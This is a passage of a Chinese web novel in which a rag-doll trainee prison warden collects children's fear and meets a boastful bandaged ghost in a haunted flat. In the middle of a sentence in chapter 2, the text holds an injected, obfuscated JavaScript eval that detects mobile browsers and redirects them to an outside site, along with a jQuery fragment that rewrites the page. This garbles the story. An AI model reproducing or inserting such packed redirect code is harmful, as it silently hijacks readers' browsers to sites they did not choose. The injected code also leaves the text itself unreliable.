《你有点太极端了》 1. 阳光与阴湿 深秋的夜里,掉落的枯树叶在偏僻的大垃圾桶上覆了几层。 一只狸花猫从垃圾桶旁轻巧地越过,忽然,它的耳朵竖了起来,那双眼睛直勾勾地盯着垃圾桶的方向。 似乎有一道白光穿过层层叠叠的树叶,短暂地亮了一瞬。 完成工作的布娃娃不知道他自己回部门的行为被一只狸花猫察觉到了,不过这也不算什么重大失误,后续不会带来太多麻烦。 传送进了电梯的布娃娃正在检查自己的任务完成度。 “恐惧值刚刚好。”布娃娃盯着自己的手表瞧,他的表盘是绿色的,这代表他这次任务完成得很完美,既收集到了足够的恐惧值,也没有给小孩留下过多的阴影。 布娃娃一边哼歌,一边从身后凭空掏出一个公文包。 他把自己身上的牛仔背带裤和条纹T恤脱了下来,换上更适合自己的西装和皮鞋。 布娃娃的脚是圆的,他的皮鞋看起来更像个亮面的小黑口袋。 布娃娃对自己这身打扮很满意,尤其是这双鞋,这是私人订制的,花了他不少积分。 他对着电梯里的镜子转了一圈,看看自己还有没有什么不得体的地方。 “呼。”布娃娃重重呼出一口气,又用没有指头的圆手整理自己那头由黑色布片组成的头发,“很好,不会失礼。” 叮的一声,布娃娃的目的地到了。 电梯门缓缓打开,布娃娃拎着公文包迈步走了出去。 长长的白色走廊两侧都是电梯,无数玩偶出出进进,忙碌得很。 有个准备进电梯的兵人注意到了刚回部门的布娃娃,他惊喜地冲着布娃娃打招呼:“陶前辈!您的任务结束了吗?” 被称为陶前辈的布娃娃冲对方点头:“结束了,这次很顺利。” “再过不久陶前辈就能兑换身体,转正成看守者了吧?”兵人有些羡慕。 “承你吉言。”布娃娃笑了笑。 所谓“看守者”其实就是狱警,只不过他们监狱里关的不是人类的犯人,他们监狱里是各式各样会给人间带来灾厄的怪物。 看守者们需要看管并且改造那些怪物,这是一件非常神圣,非常有意义的工作。 而他们这些玩偶则是看守者的预备役,他们需要收集恐惧,为未来的工作做好准备,顺便观察那些被改造完成,重新投入轮回的怪物们是否状态稳定。 这也是一项不轻松的工作。 一旦出现问题…… 叮! 布娃娃右侧的电梯门打开了,一坨灰从里头滚了出来。 那坨灰黏在一起,努力地蛄蛹出了电梯。 “呦!”那坨灰注意到了布娃娃,“陶方奕?你回来了?!这不巧了吗!待会儿交完报告之后一起去喝一杯?” 陶方奕歪了下头:“您是?” “我啊!韩羽项!”那坨灰尘伸出一个小触手指了指自己。 一辆玩具消防车鸣着笛从拐角处开过来。 消防车是个刚诞生不久的预备役,这些刚诞生的玩偶需要跟着正式看守者们熟悉一段时间才能被放出去收集恐惧值。 所以这些新生的玩具会在部门里帮忙打杂。 消防车鸣着笛开到灰烬旁边:“韩前辈,您趴到我身上来,您的身体需要大修。” 韩羽项和陶方奕是同一批诞生的预备役,同一批的玩具们总会格外亲密一些。 陶方奕连忙扶着韩羽项上了消防车:“你这次怎么变成这样了?” “把小孩吓过头了,人家用火焰来除魔,把我烧了。”韩羽项在消防车顶上挪了挪位置,“这次只怕要挨批评了。” 消防车等韩羽项坐好之后便重新鸣笛往前开。 韩羽项挥了挥自己由灰尘组成的小触手:“我先走了!待会儿记得一起喝一杯啊!” 刚才跟陶方奕搭话的兵人忽然轻轻叹了一口气:“希望这次我不会变成韩前辈这样。” “不会的,别担心,大多数任务对象都没什么破坏力。”陶方奕安慰自己的兵人后辈。 “陶先生每次任务都完成得很完美,对您来说,根本就不存在有破坏力的任务对象吧。”兵人很无奈,要把握好任务对象的恐惧值是一件特别复杂的事,不是所有人都能完美完成这项任务的,“我就不一样了。” 兵人忽然感觉自己的头顶被什么软乎乎的东西按了按,他一抬头就发现是陶方奕在轻轻摸他。 “你已经很厉害了,适应得很快哦。”说着,陶方奕从口袋里掏出了一根塑料棒棒糖,“你上次不是执行得很棒吗?你是个很有潜力的新人,不要妄自菲薄。” 塑料棒棒糖被他塞进了兵人的怀里,兵人哇了一声:“这,这个要送给我吗?” “希望你开心一点。”陶方奕俯下身,他的塑料圆眼睛没法眯起来,可兵人能看出这位前辈在笑。 “这个太贵了,我不能收。”兵人有些慌张,他抱着对他来说过于巨大的塑料棒棒糖,想把棒棒糖塞回陶方奕的怀里。 “不贵的,你也说了,我是很厉害的前辈,我的积分很多。”陶方奕拍了拍自己的公文包,“这个对我来说不是负担,只是给自己后辈的激励。” “要努力变成一个厉害的预备役哦。”陶方奕对兵人说。 兵人搂紧了棒棒糖:“陶前辈……” “我要去汇报啦,你也快点去执行任务吧。”陶方奕冲着兵人挥了挥手。 兵人重重地点了下头,嗯了一声。 陶方奕快步走过长长的电梯走廊,走到尽头,他敲响了一间办公室的门。 这是个T字形的走廊,电梯是通往人类世界的传送通道,而T字形上方的走廊墙壁上嵌着无数道门,这条长廊是没有尽头的,无论向左还是向右走,最后都会走回这个路口。 这是一个特殊的空间,也是连接各个空间的“中转站”。 陶方奕现在敲开的就是专门负责外派预备役的管理部门。 门打开了,而门内部是一个庞大的办公空间,无数穿着黑色制服的人在空间里忙忙碌碌。 那些人都很漂亮,他们长着在人类世界最受追捧的容貌,可他们周身的气场却莫名让人畏惧。 他们就是看守者,而他们自带的气场就是实习期收集的恐惧值。 陶方奕搂紧自己的小公文包,快步走向自己目标的办公室。 他在无数黑色长靴间穿梭,而注意到他的人也会抬手笑着跟他打招呼。 大家都是很好的同事。 只不过在整个特殊生物管理局里,他们这些自带恐怖Buff的看守者是最不受待见的一批。 陶方奕把自己的报告提交给了上司,他这次的任务依旧完成得相当完美,奖励的积分也相当丰厚。 上司拉着陶方奕关心了一下他的未来发展,聊了半天才放人。 陶方奕准备回自己家休息休息,顺便清理调整自己未来的身体。 出了门之后,他发现一群穿着黑色制服的前辈们围在一起,他们似乎在讨论什么。 陶方奕凑过去,他围着看守者们的小腿转了一圈,蹦跶了两下,试图看清他们在盯着什么东西。 有个看守者注意到了他,伸手把他拎起来,放在了自己的肩膀上。 随后陶方奕发现自己前辈们围着的是一块禁止打架斗殴的标牌。 “这是新换的牌子。”开口的是一位女前辈,她有一双漂亮的凤眼,一张薄唇,高挺又秀气的鼻梁,以及让人不敢与之对视的恐怖气场,“最近局里换了新的形象大使。” 陶方奕重新看向那个标牌,果然在标牌的左侧看到了一男一女两个形象大使微笑着。 那位女士有着鹅蛋脸,杏仁眼,笑起来面颊两侧还有酒窝。而那位男士剑眉星目,长了一张相当英俊的脸,笑起却格外温和。 “听说他们是战斗部的预备役。”一位看守者说。 “战斗部的预备役不是一群好战分子吗?形象大使能从他们里面选吗?” “什么时候咱们看守者里面出两个形象大使就好了。”有看守者感叹。 论长相,他们部门的形象是整个特殊生物管理局里最好的,看守者里没有丑的,甚至连平平无奇的普通长相都找不到一个。 “不可能的。” 他们自带恐怖Buff,这种buff会延伸到他们的照片或者画像上,而且他们各自的身份多多少少有些敏感。 “那个男士我看着有点眼熟。”陶方奕盯着那个男人的照片看,那个男人有一头利落的短发,头发眉毛都是银色的,眼睛是异瞳,一金一红。 虽然对方的气场很温和,可不得不说,他有一张极其亮眼且花哨的脸。 把陶方奕架在肩膀上的那位看守者忽然拍了一下脑门:“这个孩子算是你的熟人。” 陶方奕看向前辈,那位看守者解释:“他姓闻人,他爸妈还是在抓你的时候结的缘,你忘了吗?” “哦!”陶方奕想起来了。 他现在和曾经追捕自己的两位行动部大前辈的关系很不错。 “诶呀,真厉害。”陶方奕看那个男人的眼神变得温和了,虽然他现在抽象的五官也表达不出多复杂的情绪就是了,“不愧是那两个人的孩子,不止长得好看,还是个阳光积极,温柔善良的好孩子。” 陶方奕从自己公文包里掏出手机,拍了一张标牌的照片,发给曾经抓捕自己的两位妖巡捕,顺便感叹了一句:【令郎自信大方,真替你们感到欣慰。】 对面两人的状态立刻变成了“正在输入中”。 这个状态持续了五六分钟,而他们各自都只发了一个流汗微笑的黄豆表情包,后面跟了“谬赞”两个字。 再然后他们同时开始扯开话题,询问陶方奕最近工作怎么样。 不骄不躁,难怪他们能成为那一代的领头人。 对面的孩子都这么优秀了,自己也得努力,起码快点转正,快点拥有自己的身体。 陶方奕从那位看守者的肩膀上跳下去,拎着自己的公文包跑出了门。 他重新回到了T字走廊,随后陶方奕重新推开了一扇门,而这扇门的外面是一个漂亮的小镇。 蓝天,白云,一排排外墙被刷得鲜亮的独栋小楼。 陶方奕找到了自己的房子。 他的房子是正常大小的,只不过现在的他还用不上这么大的空间。 大门旁边有一扇专门为玩偶身材的他设置的小门。 陶方奕从小门进去,他把公文包放在了小玄关的台面上。 随后陶方奕脱掉了西装和皮鞋,卷起袖子开始忙上忙下地打扫卫生,给自己阳台和后院的花草浇水。 这个房子的面积对于他这个身形来说有点过大了,打扫起来很麻烦。 陶方奕坐在扫地机器人上,短暂地休息片刻。 扫地机器人驮着他进了客厅,陶方奕看到了客厅沙发上那个闭着眼睛靠在椅背上的长发男人。 他的眼尾和眉尾都是上挑的,鼻骨偏细,鼻头微微上翘,唇色是一种奇特的紫红,看起来不怎么健康。 仔细看能看到这个男人胸腔轻微的起伏。 可惜这个 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打扫完房间之后陶方奕接到了自己同期同事韩羽项的消息,韩羽项的身体修补完毕了,他们一起去了小镇的酒馆。 塑料杯子里装满了亮片,这看起来像是小孩子过家家折腾出来的玩意儿对他们来说的确是烈酒。 韩羽项猛喝了一口之后表示自己要把未来的身体朝那位男性形象大使的方向修。 “不行吧,我们身上的气场会影响外形的。”陶方奕觉得自己的老朋友得冷静冷静,“那孩子健硕的身材放在他身上是可靠,放在我们身上就是恐怖的大体型怪物了。” 韩羽项的新身体是条咸鱼玩具,他痛苦地用塞满棉花的鱼鳍抱住了自己:“银发呢?” “不管什么颜色的头发,都影响不到你的气场。”陶方奕拍了拍对方的咸鱼头,“还是保守一点吧。” 他们的气场在恐吓罪犯的时候很好用,但这身气场也导致他们很难交到看守者以外的朋友。 看守者在变成人形的时候都会让自己的长相尽可能地符合那个时代的审美。 因为恐怖而漂亮的个体虽然让人不敢接近,但也总有那么一丢丢正向的神秘色彩在。 而恐怖且丑陋的个体是会被歧视的,会被当成真正的怪物,从头到尾被歧视得彻彻底底。 “真是一个现实的世界啊。”咸鱼再次猛干了一杯亮片烈酒。 “前辈们也很想做形象大使来着。”陶方奕觉得整个特殊生物管理局里,也只有他们部门的人会围在禁止打架斗殴的标牌旁边,羡慕被选上的形象大使。 “那个新的形象大使长得好,人又阳光开朗,感觉是个粗线条的小孩。”咸鱼说,“可能粗线条到不知道自己拿到了什么样的人生彩票。” 陶方奕喝了一口亮片酒:“不过这样的孩子也是其他人的人生彩票啊,感觉和他做朋友会挺开心。” 咸鱼叹息:“是啊……” “世界里只有阳光的小孩挺可爱的。”陶方奕又感慨。 他不知道,在他感慨的同时,他们话题里阳光开朗的主角正在爆发的边缘。 新换的印着闻人傅头像的标牌都单独给他寄了一份,而这些标牌此时正躺在他的垃圾桶里。 “我受不了了!”闻人傅的银色短发被他自己揉得乱糟糟的,“为什么我还不能转正?!我要正式进入战斗部!” 手机那头的人说了些什么,闻人傅深吸一口气:“什么叫我心态还不够稳定?!我怎么不稳定?!” “就今天上午!一个不知道在坟里躺了多久的老僵尸过来办理证件,我根本听不懂他在讲什么!他硬说他说的是官话。”闻人傅的声音越来越大:“那个老僵尸他还歧视我的发音,我普通话明明很标准!” “他连智能设备都不会用!但他懂投诉!他把我给投诉了!”闻人傅呼吸急促,“我的天赋五百年难得一遇!现在我在做些什么?!” “调解那些非人种族的纠纷,帮那些脱离社会的老头老太太学习融入如今的社会……” “你知道我的衣服被他们撕烂了多少件吗?!!” “我还得微笑!我这辈子最讨厌微笑!我现在看到微笑我就犯恶心!” 电话那头的人安抚闻人傅,表示还是有很多人喜欢闻人傅的。 “那他们知道我痛恨他们吗?”闻人傅冷声反问。 “我这么优秀一个人,我用得着他们喜欢?”闻人傅从懂事开始就知道自己与众不同,他知道自己是个近乎完美的天才,模样,实力,样样都是拔尖的。 他本该早早进入战斗部,成绩迅速超越他的父母,成为一代新星。 而不是被困在这儿,一天到晚为别人的家长里短奔忙,还把自己傻缺的大头照印在这些傻缺标语上! “想磨平我的棱角?我告诉你们,绝不!”闻人傅喉咙里溢出低哑的笑声,“绝不!!!” 又有电话打过来,闻人傅看着上面的名字,扭曲的笑容缓缓消失了。 闻人傅按下接听,电话那头传来一道急促的男声:“傅队!你快回来一趟,我们人手不够了,有个鼠妖报警说自己孩子少了四个。” 闻人傅的声音忽然变得温和而轻柔:“好的,我马上。” “真不好意思,今天明明是你休假的日子。” 闻人傅:“没关系的,孩子重要。” 垃圾桶里那堆标牌忽然燃起了熊熊烈火。 2. 谁家小孩 负责人将一份带照片的资料推给陶方奕:“这就是你的下一位任务对象。” 陶方奕用两只圆手把资料捧起来,那上面详细介绍了男人的身高体重以及种族,包括他的入狱原因。 “暴力犯罪进来的?”陶方奕的豆豆眼眨巴了两下。 前世的性格也会影响到今生,五岁之前的孩子都还无法彻底忘却前世记忆。 暴躁的孩子可能会在任务完成之前给娃娃的身体带来不可逆的伤害。 “他应该不算暴躁,你看看他的生平经历。”负责人说。 陶方奕往后翻了几页,随后他噢了一声:“这又是个爱情故事。” 还在关押的服刑人员里,有百分之三十都是因为个人感情问题没有处理好才被抓进来的。情劫对于这些修行者来说是场大难,过不去就会发疯,发了疯就会伤人,随后他们就会被战斗部的人抓进来改造。 这次陶方奕的任务目标是一头水牛精。 两百多年前,这头水牛精喜欢上了一户佃农家的女孩。 那是个混乱的年代,战争,饥荒,底层人很难在那个年代体面地活下去。 水牛精一路保护那个女孩到她三十六岁,可最后一时疏忽,那个女孩还是被一场混战给撕碎了。 再然后水牛精失去理智,无数人死在了他的践踏之下。 是个很俗套的故事。 陶方奕注意到那个女孩知道水牛精是妖,并且早就与他互通了心意:“所以他们已经结了缘,这一世他们还会遇见吗?” “噢,已经遇见了。”负责人起身翻了翻陶方奕手里那堆资料,随后抽出那个水牛精今生的身份信息。 水牛精这辈子转世成了一个小女孩,小圆脸,大眼睛,刚满四岁。 负责人指了指这个小女孩的亲属栏:“诺,这个就是。” 陶方奕看了一眼:“她上辈子的情缘变成了她这辈子的……爷爷?” “是这样的,其实他们之间本来也没多少爱情。” “不然他们这辈子不会是这种关系。”负责人叹气,“而且在客观层面上,他也不具备成为对方丈夫的条件。” “因为他是牛?对方喜欢人?”陶方奕不解。 “因为他是一头公牛,一般为了控制公牛的脾气,人们会把公牛给劁了。”负责人解释,“我们一直觉得他可能误会了什么,比如误会自己的荷尔蒙能支撑自己获得谈恋爱这种高难度体验。” 陶方奕沉默,他总觉得自己的负责人越来越毒舌了。 陶方奕听完详细信息之后把自己的公文包放在了桌上,随后拿着那一摞资料在桌上敲了敲,整理齐整之后他把资料放进了公文包。 “说起来……”负责人喝了一口茶之后忽然想起了什么,他呸了一声,把茶梗重新吐回保温杯,“小奕你是不是没有恋爱经验?” 陶方奕嗯了一声:“毕竟我的本体也不算生灵,没有这方面的欲望很正常。” “你转正之后可以试试,局里定期会举行相亲大会,多一种体验也是好的嘛。”负责人笑了笑。 陶方奕认真思索了一会儿,随后点头:“好的,我会尝试的。” “给自己的人生多找几条分支挺好的,树木要多点枝丫才漂亮。”负责人拍了拍陶方奕的脑壳,“不过在这之前得先处理掉你现阶段的任务。” “加油啊,你是我们最看好的后辈。” “我还得继续努力。”陶方奕很谦虚。 负责人愈发满意了,他看陶方奕的眼神更加柔和。 当然,由于恐怖Buff的存在,负责人看起来像个假惺惺的变态。 “对了组长。”陶方奕本来打算告别离开,可这时候他又想起了负责人刚才给他推荐的相亲大会。 关于这类活动,陶方奕有些担忧:“我们这些看起来很吓人的看守者在相亲市场上不会被排挤吗?” 负责人的笑容缓缓消失。 “会不会被问奇怪的问题呢?”陶方奕说出这句话之后就看到负责人变了脸,他连忙询问,“组长,你被欺负了?” “没有。”负责人语气很平淡,“没有人欺负我。” “因为根本没有人找我沟通。” “就像我和他们处在不同的时空一样。” 陶方奕:“……抱歉。”看来他不小心戳到负责人的痛点了。 “没关系啊,我不在意。”负责人的脊椎弯下去了,他坐在办公椅上,莫名透出一股子悲凉,“你先走吧。” 陶方奕拎着自己的公文包,一步三回头地走到办公室门口。 在推门时,他又听到负责人嘟囔了一句“一个找我的人都没有”。 要扭头安慰吗? 不,安慰了反而让人更尴尬,还是假装没有听见吧。 未来自己去一趟相亲大会,回来了再拉着负责人去酒馆喝一顿,抱怨一通,自己无意间的这点小冒犯就能抵消了。 陶方奕小心翼翼地将门关上,随后又提溜着自己的公文包去了调整外形的地方。 他如今的外形对于小孩来说太过无趣了,每次执行任务,部门都会根据他们任务目标的喜好去设计他们的新外形。 大部分孩子会喜欢鲜亮一些的娃娃。 陶方奕的塑料豆豆眼变成了漂亮可爱的蓝色下垂眼,眼睛里还被缝上了浅蓝色的十字星图案。 陶方奕用自己的圆手摸了一把:“这是现在很流行的二次元的风格吗?居然用线缝出了渐变蓝。” “不确定,我们只是在追赶潮流。”负责修改外形的看守者耸了耸肩,“你的布片头发得换一换了。” 他的头发变成了蓝色的长毛绒布,随后前辈又给他套上了一个带牛角的帽子,穿上了棕色的背带裤,背带裤的大口袋上还缝着小牛的图案。 这些孩子总会对自己前世的本体怀抱亲近感。 “还有单肩包……哦对了,你手上攥一个大的毛绒波板糖。”前辈将一件件小挂件堆叠在了陶方奕的身上,随后前辈转着圈打量站在展示台上的陶方奕,确认陶方奕的外形合格之后便把陶方奕装进了塑料展示盒里。 下一步就该把他送到任务对象手中了。 陶方奕的包装盒被交到了一家平价超市的员工手中。 这是一个普通的惠民超市,而这类遍地开花的平价超市有百分之八十都是特殊生物的聚集地。 而任务对象的母亲在某天进入了超市采购生活必需品,而员工告诉她,今天超市在做活动,而她购物的金额可以参与一次抽奖。 陶方奕就这么被对方抽了回去。 他在对方踏入超市开始购物的第一时间就开始复习人物目标的详细资料了。 不知为何,陶方奕总觉得这个女人的名字有些眼熟。 而在看到对方的长相之后陶方奕更困惑了。 他应该是在什么地方见过这个女人的,可这个女人只是普通的人类,而且她只有三十六岁。 自己怎么可能认识这么年轻的人类孩子? 以前的任务对象吗? 不,应该不会,就算任务对象长大了,他也应该记得。 他肯定没有陪伴过这个人类。 正在思索,那个女人忽然把他从塑料袋里掏了出来,认真端详。 陶方奕一动不动地和那个女人隔着塑料片对视。 三十岁似乎是一个分水岭,在这之后,生活的好坏便开始在脸上显现出来。 女人晃了晃自己抽中的娃娃,随后她笑了,脸上的皱纹更深,随后她又把娃娃塞回塑料袋。 她大概对自己抽中的礼物很满意。 被放回塑料袋的陶方奕动了动自己的眼珠。 这个孩子的眼神好疲惫啊。 这孩子大概很久都没有好好睡一觉了。 自己到底在哪里见过她呢? 陶方奕一直在琢磨,可没等他琢磨出结果来,变故就出现了。 陶方奕嗅到了怨念的味道。 鬼气和怨念混杂在一起,而且越来越浓厚。 陶方奕没法钻出塑料袋一探究竟,他只能通过声音判断女人已经开始上楼了。 随后脚步声停止,钥匙碰撞的声音响起。 最后随着“吱呀”一声,陶方奕差点被扑面而来的怨念给熏晕。 怎么回事?这是一间凶宅吗?! 女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710431|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下了塑料袋之后第一时间掏出陶方奕,而视野总算放开了的陶方奕也终于看清了房间的结构。 他没有时间去观察周遭的环境,而是第一时间望向了怨念和鬼气最重的地方。 黑色雾气环绕之下,一个高大的男人蹲在房子的西北角。 祂蹲的那处墙角布满了霉菌,墙面潮湿,墙皮也斑驳剥落得厉害。 那个男人身上的衣服破烂不堪,似乎还粘着已经干涸的血液。 银色的头发湿漉漉的,嘀嗒嘀嗒地往下滴着水。 而祂的脸被一层层的纱布包裹,只露出一张嘴。 祂的嘴角似乎被划破了,在祂笑起来的瞬间,露出鲨鱼齿一般的三角牙。 纱布之下应该是没有五官的,因为祂的脸很平滑,并没有人类该有的五官结构,没有任何凸起或凹陷。 女人明显看不到这个怪物的存在。 她高高兴兴地推开了自己孩子的门,将陶方奕放在了孩子的床头柜上。 而那个怪物已经注意到了陶方奕,祂的笑容越来越大,嘴角几乎要咧到耳根。 这个高大的怪物站了起来,祂的关节随着祂的动作而发出了奇怪的“吱嘎”声。 祂一瘸一拐地跟在女人后面。 尽管祂连眼眶的结构都没有,但陶方奕却觉得这个怪物在看自己。 陶方奕的任务对象还在上幼儿园,没有回家,女人大概是想给自己的孩子一个惊喜。 她放好陶方奕之后就离开了,并且还关上了房门。 陶方奕亲眼看到女人穿透了那个怪物的身体,而那个怪物并没有跟着女人离开。 怪物注视着陶方奕。 这个怪物的站姿有点奇怪,祂双手背在身后,脚与肩同宽。 像是标准的跨立姿势,但陶方奕总觉得这个怪物的身体有些别扭,大概是祂背脊并没有挺得那么直。 不过从这怪物的习惯性动作和健硕的身材来看,祂的身份应该比较特殊。 嘀嗒,嘀嗒。 怪物只是笑着,但一句话也没说,祂头发上的液体滴落在地板上,这个房间里只剩下了这一道声音。 陶方奕从始至终都没有动,但他很确定这个怪物已经看出了自己身上不对劲的地方。 对方很敏锐,这也恰好说明了对方的力量有多强悍。 “哈。”怪物终于出声了,祂的嗓子像是被砂纸打磨过似的,嘶哑刺耳,“有小虫子跑进来了啊。” 任务第一天就遇上了棘手的大麻烦。 陶方奕有点头疼。 他眼看着那个怪物的嘴越张越大,本就诡异的笑容看起来更怪了。 随后那张嘴几乎占据了半个脑袋,而在尖牙的后面还是尖牙。 怪物发出了“咯咯咯”的笑声。 陶方奕短暂地为对方的牙齿健康欣慰了一会儿,随后他开始琢磨和对方正常沟通的可能性,毕竟对方刚才已经说过话了,这个怪物应该是有一定的思维能力的:“您好。” 怪物:“嗯?” 陶方奕:“我们可以聊……” “哈哈哈哈!你吓到发抖了吧!小布娃娃!”怪物狂笑。 陶方奕:“我没有,我是……” “故作镇定!”怪物的笑声更邪性了。 “小东西这么会装模作样,心里怕死了吧,怕我吞噬你,真是可怜啊~” “不过你猜得没错,不管你怎么挣扎,最后都会变成我的食物!”怪物忽然凑近,祂再次张大了嘴,陶方奕重新看到了祂嘴里那一圈圈的尖牙。 随后又是一阵诡异的笑声。 这真是个表达欲旺盛的怪物啊,陶方奕都已经第二次欣赏对方的恐怖牙齿了。 “你害怕吗?”怪物忽然问陶方奕。 陶方奕体贴道:“我怕死了。” “怕也没有用!”怪物拔高声音。 陶方奕配合着把手放在胸前,装出害怕的样子:“怎么这样。” 怪物又开心了。他嘴里的牙齿在动,一堆叮铃哐啷的声音配合着他怪异的笑,总觉得这怪物的发声系统很忙碌。 陶方奕:…… 这谁家怪物小孩儿? 3. 未来黯淡无光 和绷带怪沟通起来很费劲,刚开口说两句,绷带怪就要嘎嘎嘎地笑一场,这仿佛是某种设定好的程序,又或者绷带怪把怪笑当逗号用了。 陶方奕在一串怪异的笑声里抠出了一丁点有用的信息。 比如这个绷带怪是个地缚灵,又比如这个绷带怪在活着的时候从来没有被好好对待过,以及他活着的时候是个男孩。 “他们这群恶毒的,自以为是的,一天到晚只知道找茬的混账!”绷带怪的喉咙里仿佛有沙砾在互相研磨,“他们最好祈祷别被我抓到把柄,否则我会把他们一口一口!吞进我的肚子里!” 紧跟着又是一阵笑。 陶方奕在塑料盒里坐下了,和这个绷带怪对话有点耗费他的精力,他得休息一会儿。 忽然,绷带怪那张平滑的脸凑近了陶方奕,他的脑袋甚至穿透了塑料片,在他脑袋和塑料片接触的地方开始荡起层层蓝色的涟漪,仿佛水纹。 被跳脸的陶方奕吓了一跳,他“啊”了一声。 绷带怪对他的反应很满意:“那你呢?小虫子。” 陶方奕纠正对方:“我叫陶方奕。” “我管你叫什么。”绷带怪嗤了一声。 随后他伸出手,用自己尖锐的利爪点了点陶方奕的胸口:“你这样的怪物我见多了,你要把他们一家人一个个害死,然后以怨念为食?” “准确地说是收集恐惧。”陶方奕把自己身上被怪物戳乱的绒毛抚平,他想把自己的证件拿给对方看,结果对方接话的速度更快。 “收集恐惧?你要把他们一家都杀干净?”绷带怪觉得陶方奕只是换了个好听的说法,大概是这个恐怖娃娃意识到了自己的危险性,想要尽力证明自己的无害。 陶方奕继续在自己身后掏:“呃,不是,我是有证……” “你不要的话,我能杀吗?”绷带怪再次打断了陶方奕。 陶方奕微微愣了一下:“他们……害你变成这样的?” “我不认识他们。”绷带怪嘴角向下撇。 陶方奕:…… “但是谁规定得认识他们才能吃他们?你吃饭之前会先问问碗里的牛和鸡叫什么吗?”绷带怪捂着嘴又是一阵低笑。 陶方奕严肃了起来,虽然他现在的五官有些抽象,但比之前的塑料豆豆眼好了不少,能准确地表达一点情绪:“那看来我们未来有很长一段相处时间了。” “在我的胃里吗?”绷带怪的嘴咧得更开了。 “在牢里。”陶方奕掏出了自己的证件,向前伸手,亮了出来。 “我是特殊生物管理局‘十九层监狱’的看守者预备役,未来大概是看守你的狱警,我劝你现在不要乱动。”陶方奕刚一说完,那个绷带怪就化作一团白影窜了出去。 陶方奕没有轻举妄动,因为那个绷带怪很快就穿透墙体摔了回来,并且那个绷带怪的脖颈上多了一圈红色的印记。 绷带怪伸手触碰自己的脖颈:“这是什么东西?锁链?!” “我没有向你解释的义务,乖乖等着,我现在联系其他同事过来把你带走,他们会向你解释。”陶方奕从身后摸出了一个和他体型差不多大的手机。 “等,等等!!”绷带怪大声嚷嚷。 陶方奕的毛绒圆手在手机上按来按去,虽然特管局给手机做了些特殊的改造,可触屏的灵敏度还是上不去。 陶方奕点了好几下,又拿着手机晃了晃。 “等等!你不能这么对我!”绷带怪的嗓音都清澈干净了许多,“你不能抓我!” 陶方奕充耳不闻。 “我没有杀过人!”绷带怪说完这句之后又觉得不严谨,“或者说我没有杀过无辜的人!” 陶方奕还是没有搭理他。 “所以这就是你们的执法方式吗?!就这么把我这个身世悲惨的可怜鬼抓去坐牢?!你甚至没有尝试理解我,感化我?!就这么把我扔进冰冷的执法程序里?一点点温度都没有!”绷带怪的语速越来越快。 绷带怪注意到陶方奕的动作停下了,他稍稍松了一口气。 “你真的不会对普通人动手?”陶方奕看向他。 “事实上,我是追踪其他的罪犯来到这儿的。”绷带怪的手依旧放在自己的脖颈上,“你既然是特殊生物管理局的人,你怎么会不认识我?” 陶方奕不解:“我为什么要认识你?” “你不知道最近最让战斗部头疼的那个‘血绷带’?”绷带怪有些意外。 所以这个绷带怪物是真的很有名? 看着陶方奕迷茫的眼神,绷带怪更诧异了:“你不上你们特管局的内部论坛的吗?讨论‘血绷带’的帖子很多啊。” 陶方奕大惊:“你居然知道我们有论坛?!” 尽管绷带怪脸上没有五官轮廓,但陶方奕居然在对方脸上看出了不满。 绷带怪凑到陶方奕身边:“你点开看一眼就知道了。” “点开什么?”陶方奕看了一眼几乎要凑自己身上的绷带脑壳。 “论坛啊,你们内部的论坛!你点开,翻一翻就能翻到我了。”绷带怪说。 陶方奕忽然僵住,随后他礼貌地笑了两声:“哈哈,回头有时间我会看的。” “为什么是回头?你现在很忙吗?”绷带怪急切地想让这位看守者预备役了解自己。 绷带怪也是刚知道他们这群看守者在转正之前的工作居然是收集恐惧?仔细想想看守者周身的气场,又觉得这个工作挺合理的,反正比战斗部的预备役要好。 这还是绷带怪第一次和看守者打交道。 陶方奕拗不过这个执着的绷带怪,他深吸一口气,点开论坛页面。 紧跟着论坛第一条热帖出现在他眼前——【有看守者来相亲大会了,好恐怖!这几天晚上都在做噩梦!】 …… 组长被挂了啊。 陶方奕迅速退出论坛:“是这样的,我比较自卑,所以有些情况我没交代清楚,其实我不认识字,是文盲来着。” 绷带怪:…… 哦,想起来了,论坛对看守者好像不太友好。 “这样,你闭着眼睛刷,然后我指挥你点。”绷带怪贴心建议。 陶方奕:…… 这个孩子的分享欲真强,他生前很少得到肯定吗? 陶方奕沉默了一小会儿,随后他提醒:“如果你跟我玩恶作剧,比如故意让我看到那些和守卫者有关的内容,我会生气。”他不介意配合对方的分享欲,但他也不是没脾气的。 好没威胁性的警告,甚至不威胁说要把他扭送特管局。 陶方奕重复:“真的会生气。” “放心吧,不会的。”绷带怪安抚他。 陶方奕无奈地闭上眼。 就这?这就配合了? 真配合了? 绷带怪对“十九层监狱”的了解不多,那里面的员工不出外勤,只是一帮狱警。 或者说他们是一帮传说中的狱警。 他们的容貌,他们说的话,包括他们的肖像和字迹都会给人带来无与伦比的恐惧。 没人敢了解他们,没人敢直视他们,更别说沟通或交流。 他们是一群特殊的存在,无人敢窥探。 绷带怪指挥着陶方奕点开一个帖子,随后点进了一个视频链接:“好了,你可以睁开眼睛了。” 陶方奕试探性地睁开了一只眼,随后他看到了冲着镜头亮出一排排尖牙的绷带怪。 “你没有故意恶作剧。”陶方奕伸手拍了拍身侧绷带怪的脑袋,“你是个信守承诺的孩子。” “喂!!我不喜欢这样!”绷带怪猛地后缩,他退到塑料片外面去了。 “抱歉。”陶方奕连连摆手。 绷带怪试探性地向前,陶方奕把圆手朝他伸来,绷带怪再次后仰:“陷阱!” “不不不,我是想拍拍你的肩膀,呃或者颧骨。”陶方奕觉得现在自己的体型摸不到对方的肩,“我大致能找到你颧骨的位置。” “我不喜欢肢体接触。”绷带怪拒绝了陶方奕的提议。 “真遗憾。”陶方奕收回手,这一定是个孤僻的孩子,这个时候他不该对此做过多的评价。 陶方奕假装无事发生,他的圆手使劲点了十几下,终于点开了那个视频。 那个视频是一个作战记录。 